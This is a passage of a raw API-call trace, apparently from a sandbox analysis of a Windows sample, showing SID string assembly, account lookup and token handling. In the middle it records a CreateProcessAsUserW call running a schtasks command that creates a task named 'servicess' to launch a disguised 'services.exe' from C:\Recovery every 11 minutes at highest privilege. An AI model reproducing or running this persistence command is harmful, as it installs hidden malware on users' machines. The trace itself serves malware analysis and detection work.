returned 0x142522 [0150.180] free (_Block=0x2af180) [0150.180] free (_Block=0x2af1a0) [0150.180] malloc (_Size=0x18) returned 0x2af1a0 [0150.181] malloc (_Size=0x18) returned 0x2af180 [0150.181] SysStringLen (param_1="S-1-5-") returned 0x6 [0150.181] SysStringLen (param_1="21") returned 0x2 [0150.181] memcpy (in: _Dst=0x142398, _Src=0x142518, _Size=0xe | out: _Dst=0x142398) returned 0x142398 [0150.181] memcpy (in: _Dst=0x1423a4, _Src=0x161918, _Size=0x6 | out: _Dst=0x1423a4) returned 0x1423a4 [0150.181] free (_Block=0x2af240) [0150.181] free (_Block=0x2af1a0) [0150.181] GetSidSubAuthority (pSid=0x2b8b60*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), nSubAuthority=0x1) returned 0x2b8b6c [0150.181] _ultow (in: _Dest=0xfb7f942f, _Radix=15190480 | out: _Dest=0xfb7f942f) returned="4219442223" [0150.181] malloc (_Size=0x18) returned 0x2af1a0 [0150.181] malloc (_Size=0x18) returned 0x2af240 [0150.181] SysStringLen (param_1="S-1-5-21") returned 0x8 [0150.181] SysStringLen (param_1="-") returned 0x1 [0150.181] memcpy (in: _Dst=0x161918, _Src=0x142398, _Size=0x12 | out: _Dst=0x161918) returned 0x161918 [0150.181] memcpy (in: _Dst=0x161928, _Src=0x142518, _Size=0x4 | out: _Dst=0x161928) returned 0x161928 [0150.181] free (_Block=0x2af180) [0150.181] free (_Block=0x2af1a0) [0150.181] malloc (_Size=0x18) returned 0x2af1a0 [0150.181] malloc (_Size=0x18) returned 0x2af180 [0150.181] SysStringLen (param_1="S-1-5-21-") returned 0x9 [0150.181] SysStringLen (param_1="4219442223") returned 0xa [0150.181] memcpy (in: _Dst=0x118088, _Src=0x161918, _Size=0x14 | out: _Dst=0x118088) returned 0x118088 [0150.181] memcpy (in: _Dst=0x11809a, _Src=0x142398, _Size=0x16 | out: _Dst=0x11809a) returned 0x11809a [0150.181] free (_Block=0x2af240) [0150.181] free (_Block=0x2af1a0) [0150.181] GetSidSubAuthority (pSid=0x2b8b60*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), nSubAuthority=0x2) returned 0x2b8b70 [0150.181] _ultow (in: _Dest=0xfbc24a41, _Radix=15190480 | out: _Dest=0xfbc24a41) returned="4223814209" [0150.181] malloc (_Size=0x18) returned 0x2af1a0 [0150.182] malloc (_Size=0x18) returned 0x2af240 [0150.182] SysStringLen (param_1="S-1-5-21-4219442223") returned 0x13 [0150.182] SysStringLen (param_1="-") returned 0x1 [0150.182] memcpy (in: _Dst=0x118128, _Src=0x118088, _Size=0x28 | out: _Dst=0x118128) returned 0x118128 [0150.182] memcpy (in: _Dst=0x11814e, _Src=0x161918, _Size=0x4 | out: _Dst=0x11814e) returned 0x11814e [0150.182] free (_Block=0x2af180) [0150.182] free (_Block=0x2af1a0) [0150.182] malloc (_Size=0x18) returned 0x2af1a0 [0150.182] malloc (_Size=0x18) returned 0x2af180 [0150.182] SysStringLen (param_1="S-1-5-21-4219442223-") returned 0x14 [0150.182] SysStringLen (param_1="4223814209") returned 0xa [0150.182] memcpy (in: _Dst=0x12da28, _Src=0x118128, _Size=0x2a | out: _Dst=0x12da28) returned 0x12da28 [0150.182] memcpy (in: _Dst=0x12da50, _Src=0x161918, _Size=0x16 | out: _Dst=0x12da50) returned 0x12da50 [0150.182] free (_Block=0x2af240) [0150.182] free (_Block=0x2af1a0) [0150.182] GetSidSubAuthority (pSid=0x2b8b60*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), nSubAuthority=0x3) returned 0x2b8b74 [0150.182] _ultow (in: _Dest=0xe49636b4, _Radix=15190480 | out: _Dest=0xe49636b4) returned="3835049652" [0150.182] malloc (_Size=0x18) returned 0x2af1a0 [0150.182] malloc (_Size=0x18) returned 0x2af240 [0150.182] SysStringLen (param_1="S-1-5-21-4219442223-4223814209") returned 0x1e [0150.182] SysStringLen (param_1="-") returned 0x1 [0150.182] memcpy (in: _Dst=0x12dc48, _Src=0x12da28, _Size=0x3e | out: _Dst=0x12dc48) returned 0x12dc48 [0150.182] memcpy (in: _Dst=0x12dc84, _Src=0x161918, _Size=0x4 | out: _Dst=0x12dc84) returned 0x12dc84 [0150.182] free (_Block=0x2af180) [0150.182] free (_Block=0x2af1a0) [0150.182] malloc (_Size=0x18) returned 0x2af1a0 [0150.182] malloc (_Size=0x18) returned 0x2af180 [0150.182] SysStringLen (param_1="S-1-5-21-4219442223-4223814209-") returned 0x1f [0150.182] SysStringLen (param_1="3835049652") returned 0xa [0150.183] memcpy (in: _Dst=0x12da28, _Src=0x12dc48, _Size=0x40 | out: _Dst=0x12da28) returned 0x12da28 [0150.183] memcpy (in: _Dst=0x12da66, _Src=0x161918, _Size=0x16 | out: _Dst=0x12da66) returned 0x12da66 [0150.183] free (_Block=0x2af240) [0150.183] free (_Block=0x2af1a0) [0150.183] GetSidSubAuthority (pSid=0x2b8b60*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), nSubAuthority=0x4) returned 0x2b8b78 [0150.183] _ultow (in: _Dest=0x3e8, _Radix=15190480 | out: _Dest=0x3e8) returned="1000" [0150.183] malloc (_Size=0x18) returned 0x2af1a0 [0150.183] malloc (_Size=0x18) returned 0x2af240 [0150.183] SysStringLen (param_1="S-1-5-21-4219442223-4223814209-3835049652") returned 0x29 [0150.183] SysStringLen (param_1="-") returned 0x1 [0150.183] memcpy (in: _Dst=0x12dc48, _Src=0x12da28, _Size=0x54 | out: _Dst=0x12dc48) returned 0x12dc48 [0150.183] memcpy (in: _Dst=0x12dc9a, _Src=0x161918, _Size=0x4 | out: _Dst=0x12dc9a) returned 0x12dc9a [0150.183] free (_Block=0x2af180) [0150.183] free (_Block=0x2af1a0) [0150.183] malloc (_Size=0x18) returned 0x2af1a0 [0150.183] malloc (_Size=0x18) returned 0x2af180 [0150.183] SysStringLen (param_1="S-1-5-21-4219442223-4223814209-3835049652-") returned 0x2a [0150.183] SysStringLen (param_1="1000") returned 0x4 [0150.183] memcpy (in: _Dst=0x12da28, _Src=0x12dc48, _Size=0x56 | out: _Dst=0x12da28) returned 0x12da28 [0150.183] memcpy (in: _Dst=0x12da7c, _Src=0x161918, _Size=0xa | out: _Dst=0x12da7c) returned 0x12da7c [0150.183] free (_Block=0x2af240) [0150.183] free (_Block=0x2af1a0) [0150.183] SysStringLen (param_1="S-1-5-21-4219442223-4223814209-3835049652-1000") returned 0x2e [0150.183] malloc (_Size=0x5e) returned 0x2b0ad0 [0150.183] free (_Block=0x2af180) [0150.183] malloc (_Size=0x18) returned 0x2af180 [0150.184] free (_Block=0x2b0ad0) [0150.184] LookupAccountSidW (in: lpSystemName=0x0, Sid=0x2b8b60*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), Name=0x0, cchName=0xe7ca94, ReferencedDomainName=0x0, cchReferencedDomainName=0xe7ca90, peUse=0xe7cb98 | out: Name=0x0, cchName=0xe7ca94, ReferencedDomainName=0x0, cchReferencedDomainName=0xe7ca90, peUse=0xe7cb98) returned 0 [0150.184] GetLastError () returned 0x7a [0150.185] malloc (_Size=0x14) returned 0x2af1a0 [0150.185] malloc (_Size=0x16) returned 0x2af240 [0150.185] LookupAccountSidW (in: lpSystemName=0x0, Sid=0x2b8b60*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), Name=0x2af1a0, cchName=0xe7ca94, ReferencedDomainName=0x2af240, cchReferencedDomainName=0xe7ca90, peUse=0xe7cb98 | out: Name="kEecfMwgj", cchName=0xe7ca94, ReferencedDomainName="Q9IATRKPRH", cchReferencedDomainName=0xe7ca90, peUse=0xe7cb98) returned 1 [0150.185] malloc (_Size=0x18) returned 0x2af280 [0150.185] malloc (_Size=0x18) returned 0x2af260 [0150.185] free (_Block=0x2af1a0) [0150.185] free (_Block=0x2af240) [0150.185] free (_Block=0x2b8650) [0150.185] free (_Block=0x2af260) [0150.185] free (_Block=0x2af280) [0150.185] free (_Block=0x2af180) [0150.186] free (_Block=0x2b8b50) [0150.186] malloc (_Size=0x48) returned 0x2ad6d0 [0150.186] LoadLibraryW (lpLibFileName="userenv.dll") returned 0x7fefc010000 [0150.189] GetProcAddress (hModule=0x7fefc010000, lpProcName="DestroyEnvironmentBlock") returned 0x7fefc011080 [0150.190] GetProcAddress (hModule=0x7fefc010000, lpProcName="CreateEnvironmentBlock") returned 0x7fefc0110b0 [0150.190] malloc (_Size=0x18) returned 0x2af180 [0150.190] CreateEnvironmentBlock () returned 0x1 [0150.193] memcpy (in: _Dst=0xe7cd00, _Src=0xe7dad0, _Size=0x68 | out: _Dst=0xe7cd00) returned 0xe7cd00 [0150.193] malloc (_Size=0x18) returned 0x2af280 [0150.194] CreateProcessAsUserW (in: hToken=0x234, lpApplicationName=0x0, lpCommandLine="schtasks.exe /create /tn \"servicess\" /sc MINUTE /mo 11 /tr \"'C:\\Recovery\\d327d5c2-7147-11eb-9862-d731c5aaa7a9\\services.exe'\" /rl HIGHEST /f", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=0, dwCreationFlags=0x1000428, lpEnvironment=0x189cb0, lpCurrentDirectory=0x0, lpStartupInfo=0xe7cd00*(cb=0x68, lpReserved=0x0, lpDesktop="", lpTitle=0x0, dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x5, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0xe7cba0 | out: lpCommandLine="schtasks.exe /create /tn \"servicess\" /sc MINUTE /mo 11 /tr \"'C:\\Recovery\\d327d5c2-7147-11eb-9862-d731c5aaa7a9\\services.exe'\" /rl HIGHEST /f", lpProcessInformation=0xe7cba0*(hProcess=0x2fc, hThread=0x2f8, dwProcessId=0xc74, dwThreadId=0xc98)) returned 1 [0150.233] CloseHandle (hObject=0x2fc) returned 1 [0150.233] CloseHandle (hObject=0x2f8) returned 1 [0150.233] free (_Block=0x2af280) [0150.233] DestroyEnvironmentBlock () returned 0x1 [0150.233] malloc (_Size=0x48) returned 0x2ad680 [0150.233] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0xe7ca18 | out: lpSystemTimeAsFileTime=0xe7ca18*(dwLowDateTime=0x267a2000, dwHighDateTime=0x1d8a92a)) [0150.233] SetEvent (hEvent=0x1f0) returned 1 [0150.236] CloseHandle (hObject=0x2d4) returned 1 [0150.236] CloseHandle (hObject=0x234) returned 1 [0150.289] RtlAllocateHeap (HeapHandle=0xc0000, Flags=0x0, Size=0x4) returned 0xfd940 [0150.289] SetThreadPreferredUILanguages (in: dwFlags=0x8, pwszLanguagesBuffer=0xfd940, pulNumLanguages=0xe7e2b0 | out: pulNumLanguages=0xe7e2b0) returned 1 [0150.289] HeapFree (in: hHeap=0xc0000, dwFlags=0x0, lpMem=0xfd940 | out: hHeap=0xc0000) returned 1 [0151.377] SetLastError (dwErrCode=0x0) [0151.377] GetThreadPreferredUILanguages (in: dwFlags=0x40, pulNumLanguages=0xe7e2b8, pwszLanguagesBuffer=0x0, pcchLanguagesBuffer=0xe7e1c0 | out: pulNumLanguages=0xe7e2b8, pwszLanguagesBuffer=0x0, pcchLanguagesBuffer=0xe7e1c0) returned 1 [0151.377] RtlAllocateHeap (HeapHandle=0xc0000, Flags=0x0, Size=0x8) returned 0xfd950 [0151.377] SetLastError (dwErrCode=0x0) [0151.378] GetThreadPreferredUILanguages (in: dwFlags=0x40, pulNumLanguages=0xe7e2b8, pwszLanguagesBuffer=0xfd950, pcchLanguagesBuffer=0xe7e1c0 | out: pulNumLanguages=0xe7e2b8, pwszLanguagesBuffer=0xfd950, pcchLanguagesBuffer=0xe7e1c0) returned 1 [0151.378] RtlAllocateHeap (HeapHandle=0xc0000, Flags=0x0, Size=0x8) returned 0xfd940 [0151.378] HeapFree (in: hHeap=0xc0000, dwFlags=0x0, lpMem=0xfd950 | out: hHeap=0xc0000) returned 1 [0151.378] RtlAllocateHeap (HeapHandle=0xc0000, Flags=0x0, Size=0x14) returned 0x12eec0 [0151.378] SetThreadPreferredUILanguages (in: dwFlags=0x8, pwszLanguagesBuffer=0x12eec0, pulNumLanguages=0xe7e2b8 | out: pulNumLanguages=0xe7e2b8) returned 1 [0151.378] HeapFree (in: hHeap=0xc0000, dwFlags=0x0, lpMem=0x12eec0 | out: hHeap=0xc0000) returned 1 [0151.379] _wcsicmp (_String1="Create", _String2="Create") returned 0 [0151.380] ?AddRef@CWbemObject@@UEAAKXZ () returned 0x2 [0151.380] ?AddRef@CWbemObject@@UEAAKXZ () returned 0x2 [0151.380] ?Release@CWbemObject@@UEAAKXZ () returned 0x1 [0151.381] ?AddRef@CWbemObject@@UEAAKXZ () returned 0x2 [0151.381] ?AddRef@CWbemObject@@UEAAKXZ () returned 0x2 [0151.381] ?Release@CWbemObject@@UEAAKXZ () returned 0x1 [0151.382] memcpy (in: _Dst=0xe7dad0, _Src=0xe7da50, _Size=0x68 | out: _Dst=0xe7dad0) returned 0xe7dad0 [0151.383] GetCurrentThread () returned 0xfffffffffffffffe [0151.383] OpenThreadToken (in: ThreadHandle=0xfffffffffffffffe, DesiredAccess=0xb, OpenAsSelf=1, TokenHandle=0xe7cc40 | out: TokenHandle=0xe7cc40*=0x234) returned 1 [0151.383] malloc (_Size=0xd8) returned 0x2b90e0 [0151.383] LoadLibraryW (lpLibFileName="ADVAPI32.DLL") returned 0x7fefe7b0000 [0151.383] GetProcAddress (hModule=0x7fefe7b0000, lpProcName="LsaEnumerateTrustedDomains") returned 0x7fefe7f8200 [0151.383] GetProcAddress (hModule=0x7fefe7b0000, lpProcName="LsaQueryInformationPolicy") returned 0x7fefe7d20b0 [0151.384] GetProcAddress (hModule=0x7fefe7b0000, lpProcName="LsaNtStatusToWinError") returned 0x7fefe7f7e40 [0151.384] GetProcAddress (hModule=0x7fefe7b0000, lpProcName="LsaFreeMemory") returned 0x7fefe7be390 [0151.384] GetProcAddress (hModule=0x7fefe7b0000, lpProcName="LsaOpenPolicy") returned 0x7fefe7d0b40 [0151.384] GetProcAddress (hModule=0x7fefe7b0000, lpProcName="LsaClose") returned 0x7fefe7d2040 [0151.384] GetProcAddress (hModule=0x7fefe7b0000, lpProcName="QueryServiceStatusEx") returned 0x7fefe7b7004 [0151.384] GetProcAddress (hModule=0x7fefe7b0000, lpProcName="DuplicateTokenEx") returned 0x7fefe7bd310 [0151.385] GetProcAddress (hModule=0x7fefe7b0000, lpProcName="SetSecurityDescriptorControl") returned 0x7fefe7d3fe4 [0151.385] GetProcAddress (hModule=0x7fefe7b0000, lpProcName="ConvertToAutoInheritPrivateObjectSecurity") returned 0x7fefe7eb828 [0151.385] GetProcAddress (hModule=0x7fefe7b0000, lpProcName="DestroyPrivateObjectSecurity") returned 0x7fefe7bf924 [0151.385] GetProcAddress (hModule=0x7fefe7b0000, lpProcName="CheckTokenMembership") returned 0x7fefe7bd980 [0151.385] GetProcAddress (hModule=0x7fefe7b0000, lpProcName="AddAccessAllowedObjectAce") returned 0x7fefe7eba94 [0151.385] GetProcAddress (hModule=0x7fefe7b0000, lpProcName="AddAccessDeniedObjectAce") returned 0x7fefe7eba30 [0151.385] GetProcAddress (hModule=0x7fefe7b0000, lpProcName="AddAuditAccessObjectAce") returned 0x7fefe7eb9a8 [0151.386] GetProcAddress (hModule=0x7fefe7b0000, lpProcName="SetNamedSecurityInfoW") returned 0x7fefe7b89a0 [0151.386] GetProcAddress (hModule=0x7fefe7b0000, lpProcName="GetNamedSecurityInfoW") returned 0x7fefe7bf990 [0151.386] GetProcAddress (hModule=0x7fefe7b0000, lpProcName="SetNamedSecurityInfoExW") returned 0x7fefe80dc00 [0151.386] GetProcAddress (hModule=0x7fefe7b0000, lpProcName="GetExplicitEntriesFromAclW") returned 0x7fefe7f56a0 [0151.386] GetProcAddress (hModule=0x7fefe7b0000, lpProcName="GetEffectiveRightsFromAclW") returned 0x7fefe7f56f0 [0151.386] malloc (_Size=0x18) returned 0x2af180 [0151.386] DuplicateTokenEx (in: hExistingToken=0x234, dwDesiredAccess=0xb, lpTokenAttributes=0x0, ImpersonationLevel=0x2, TokenType=0x1, phNewToken=0xe7cc48 | out: phNewToken=0xe7cc48*=0x2d4) returned 1 [0151.386] malloc (_Size=0x48) returned 0x2ad680 [0151.386] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0xe7ca18 | out: lpSystemTimeAsFileTime=0xe7ca18*(dwLowDateTime=0x26ff6d00, dwHighDateTime=0x1d8a92a)) [0151.386] SetEvent (hEvent=0x1f0) returned 1 [0151.389] GetTokenInformation (in: TokenHandle=0x234, TokenInformationClass=0x1, TokenInformation=0x0, TokenInformationLength=0x0, ReturnLength=0xe7cb60 | out: TokenInformation=0x0, ReturnLength=0xe7cb60) returned 0 [0151.389] GetLastError () returned 0x7a [0151.389] malloc (_Size=0x2c) returned 0x2b8b10 [0151.389] GetTokenInformation (in: TokenHandle=0x234, TokenInformationClass=0x1, TokenInformation=0x2b8b10, TokenInformationLength=0x2c, ReturnLength=0xe7cb60 | out: TokenInformation=0x2b8b10, ReturnLength=0xe7cb60) returned 1 [0151.389] IsValidSid (pSid=0x2b8b20*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f))) returned 1 [0151.389] GetLengthSid (pSid=0x2b8b20*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f))) returned 0x1c [0151.389] malloc (_Size=0x1c) returned 0x2b86e0 [0151.389] CopySid (in: nDestinationSidLength=0x1c, pDestinationSid=0x2b86e0, pSourceSid=0x2b8b20*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)) | out: pDestinationSid=0x2b86e0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f))) returned 1 [0151.389] GetSidIdentifierAuthority (pSid=0x2b8b20*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f))) returned 0x2b8b22 [0151.389] malloc (_Size=0x18) returned 0x2af180 [0151.389] _ultow (in: _Dest=0x5, _Radix=15190464 | out: _Dest=0x5) returned="5" [0151.389] malloc (_Size=0x18) returned 0x2af280 [0151.389] malloc (_Size=0x18) returned 0x2af260 [0151.389] SysStringLen (param_1="S-1-") returned 0x4 [0151.390] SysStringLen (param_1="5") returned 0x1 [0151.390] memcpy (in: _Dst=0x1424e8, _Src=0x1423f8, _Size=0xa | out: _Dst=0x1424e8) returned 0x1424e8 [0151.390] memcpy (in: _Dst=0x1424f0, _Src=0x1424b8, _Size=0x4 | out: _Dst=0x1424f0) returned 0x1424f0 [0151.390] free (_Block=0x2af180) [0151.390] free (_Block=0x2af280) [0151.390] GetSidSubAuthorityCount (pSid=0x2b8b20*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f))) returned 0x2b8b21 [0151.390] GetSidSubAuthority (pSid=0x2b8b20*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), nSubAuthority=0x0) returned 0x2b8b28 [0151.390] _ultow (in: _Dest=0x15, _Radix=15190464 | out: _Dest=0x15) returned="21" [0151.390] malloc (_Size=0x18) returned 0x2af280 [0151.390] malloc (_Size=0x18) returned 0x2af180 [0151.390] SysStringLen (param_1="S-1-5") returned 0x5 [0151.390] SysStringLen (param_1="-") returned 0x1 [0151.390] memcpy (in: _Dst=0x1424b8, _Src=0x1424e8, _Size=0xc | out: _Dst=0x1424b8) returned 0x1424b8 [0151.390] memcpy (in: _Dst=0x1424c2, _Src=0x1423f8, _Size=0x4 | out: _Dst=0x1424c2) returned 0x1424c2 [0151.390] free (_Block=0x2af260) [0151.390] free (_Block=0x2af280) [0151.390] malloc (_Size=0x18) returned 0x2af280 [0151.390] malloc (_Size=0x18) returned 0x2af260 [0151.390] SysStringLen (param_1="S-1-5-") returned 0x6 [0151.390] SysStringLen (param_1="21") returned 0x2 [0151.390] memcpy (in: _Dst=0x1423f8, _Src=0x1424b8, _Size=0xe | out: _Dst=0x1423f8) returned 0x1423f8 [0151.390] memcpy (in: _Dst=0x142404, _Src=0x1424e8, _Size=0x6 | out: _Dst=0x142404) returned 0x142404 [0151.391] free (_Block=0x2af180) [0151.391] free (_Block=0x2af280) [0151.391] GetSidSubAuthority (pSid=0x2b8b20*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), nSubAuthority=0x1) returned 0x2b8b2c [0151.391] _ultow (in: _Dest=0xfb7f942f, _Radix=15190464 | out: _Dest=0xfb7f942f) returned="4219442223" [0151.391] malloc (_Size=0x18) returned 0x2af280 [0151.391] malloc (_Size=0x18) returned 0x2af180 [0151.391] SysStringLen (param_1="S-1-5-21") returned 0x8 [0151.391] SysStringLen (param_1="-") returned 0x1 [0151.391] memcpy (in: _Dst=0x1424e8, _Src=0x1423f8, _Size=0x12 | out: _Dst=0x1424e8) returned 0x1424e8 [0151.391] memcpy (in: _Dst=0x1424f8, _Src=0x1424b8, _Size=0x4 | out: _Dst=0x1424f8) returned 0x1424f8 [0151.391] free (_Block=0x2af260) [0151.391] free (_Block=0x2af280) [0151.391] malloc (_Size=0x18) returned 0x2af280 [0151.391] malloc (_Size=0x18) returned 0x2af260 [0151.391] SysStringLen (param_1="S-1-5-21-") returned 0x9 [0151.391] SysStringLen (param_1="4219442223") returned 0xa [0151.391] memcpy (in: _Dst=0x117ef8, _Src=0x1424e8, _Size=0x14 | out: _Dst=0x117ef8) returned 0x117ef8 [0151.391] memcpy (in: _Dst=0x117f0a, _Src=0x1423f8, _Size=0x16 | out: _Dst=0x117f0a) returned 0x117f0a [0151.391] free (_Block=0x2af180) [0151.391] free (_Block=0x2af280) [0151.391] GetSidSubAuthority (pSid=0x2b8b20*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), nSubAuthority=0x2) returned 0x2b8b30 [0151.391] _ultow (in: _Dest=0xfbc24a41, _Radix=15190464 | out: _Dest=0xfbc24a41) returned="4223814209" [0151.391] malloc (_Size=0x18) returned 0x2af280 [0151.392] malloc (_Size=0x18) returned 0x2af180 [0151.392] SysStringLen (param_1="S-1-5-21-4219442223") returned 0x13 [0151.392] SysStringLen (param_1="-") returned 0x1 [0151.392] memcpy (in: _Dst=0x1179f8, _Src=0x117ef8, _Size=0x28 | out: _Dst=0x1179f8) returned 0x1179f8 [0151.392] memcpy (in: _Dst=0x117a1e, _Src=0x1424e8, _Size=0x4 | out: _Dst=0x117a1e) returned 0x117a1e [0151.392] free (_Block=0x2af260) [0151.392] free (_Block=0x2af280) [0151.392] malloc (_Size=0x18) returned 0x2af280 [0151.392] malloc (_Size=0x18) returned 0x2af260 [0151.392] SysStringLen (param_1="S-1-5-21-4219442223-") returned 0x14 [0151.392] SysStringLen (param_1="4223814209") returned 0xa [0151.392] memcpy (in: _Dst=0x12d6f8, _Src=0x1179f8, _Size=0x2a | out: _Dst=0x12d6f8) returned 0x12d6f8 [0151.392] memcpy (in: _Dst=0x12d720, _Src=0x1424e8, _Size=0x16 | out: _Dst=0x12d720) returned 0x12d720 [0151.392] free (_Block=0x2af180) [0151.392] free (_Block=0x2af280) [0151.392] GetSidSubAuthority (pSid=0x2b8b20*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), nSubAuthority=0x3) returned 0x2b8b34 [0151.392] _ultow (in: _Dest=0xe49636b4, _Radix=15190464 | out: _Dest=0xe49636b4) returned="3835049652" [0151.392] malloc (_Size=0x18) returned 0x2af280 [0151.392] malloc (_Size=0x18) returned 0x2af180 [0151.392] SysStringLen (param_1="S-1-5-21-4219442223-4223814209") returned 0x1e [0151.392] SysStringLen (param_1="-") returned 0x1 [0151.392] memcpy (in: _Dst=0xd8d18, _Src=0x12d6f8, _Size=0x3e | out: _Dst=0xd8d18) returned 0xd8d18 [0151.392] memcpy (in: _Dst=0xd8d54, _Src=0x1424e8, _Size=0x4 | out: _Dst=0xd8d54) returned 0xd8d54 [0151.393] free (_Block=0x2af260) [0151.393] free (_Block=0x2af280) [0151.393] malloc (_Size=0x18) returned 0x2af280 [0151.393] malloc (_Size=0x18) returned 0x2af260 [0151.393] SysStringLen (param_1="S-1-5-21-4219442223-4223814209-") returned 0x1f [0151.393] SysStringLen (param_1="3835049652") returned 0xa [0151.393] memcpy (in: _Dst=0x12d6f8, _Src=0xd8d18, _Size=0x40 | out: _Dst=0x12d6f8) returned 0x12d6f8 [0151.393] memcpy (in: _Dst=0x12d736, _Src=0x1424e8, _Size=0x16 | out: _Dst=0x12d736) returned 0x12d736 [0151.393] free (_Block=0x2af180) [0151.393] free (_Block=0x2af280) [0151.393] GetSidSubAuthority (pSid=0x2b8b20*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), nSubAuthority=0x4) returned 0x2b8b38 [0151.393] _ultow (in: _Dest=0x3e8, _Radix=15190464 | out: _Dest=0x3e8) returned="1000" [0151.393] malloc (_Size=0x18) returned 0x2af280 [0151.393] malloc (_Size=0x18) returned 0x2af180 [0151.393] SysStringLen (param_1="S-1-5-21-4219442223-4223814209-3835049652") returned 0x29 [0151.393] SysStringLen (param_1="-") returned 0x1 [0151.393] memcpy (in: _Dst=0xd8d18, _Src=0x12d6f8, _Size=0x54 | out: _Dst=0xd8d18) returned 0xd8d18 [0151.393] memcpy (in: _Dst=0xd8d6a, _Src=0x1424e8, _Size=0x4 | out: _Dst=0xd8d6a) returned 0xd8d6a [0151.393] free (_Block=0x2af260) [0151.393] free (_Block=0x2af280) [0151.393] malloc (_Size=0x18) returned 0x2af280 [0151.393] malloc (_Size=0x18) returned 0x2af260 [0151.393] SysStringLen (param_1="S-1-5-21-4219442223-4223814209-3835049652-") returned 0x2a [0151.393] SysStringLen (param_1="1000") returned 0x4 [0151.394] memcpy (in: _Dst=0x12d6f8, _Src=0xd8d18, _Size=0x56 | out: _Dst=0x12d6f8) returned 0x12d6f8 [0151.394] memcpy (in: _Dst=0x12d74c, _Src=0x1424e8, _Size=0xa | out: _Dst=0x12d74c) returned 0x12d74c [0151.394] free (_Block=0x2af180) [0151.394] free (_Block=0x2af280) [0151.394] SysStringLen (param_1="S-1-5-21-4219442223-4223814209-3835049652-1000") returned 0x2e [0151.394] malloc (_Size=0x5e) returned 0x2b0ad0 [0151.394] free (_Block=0x2af260) [0151.394] malloc (_Size=0x18) returned 0x2af260 [0151.395] free 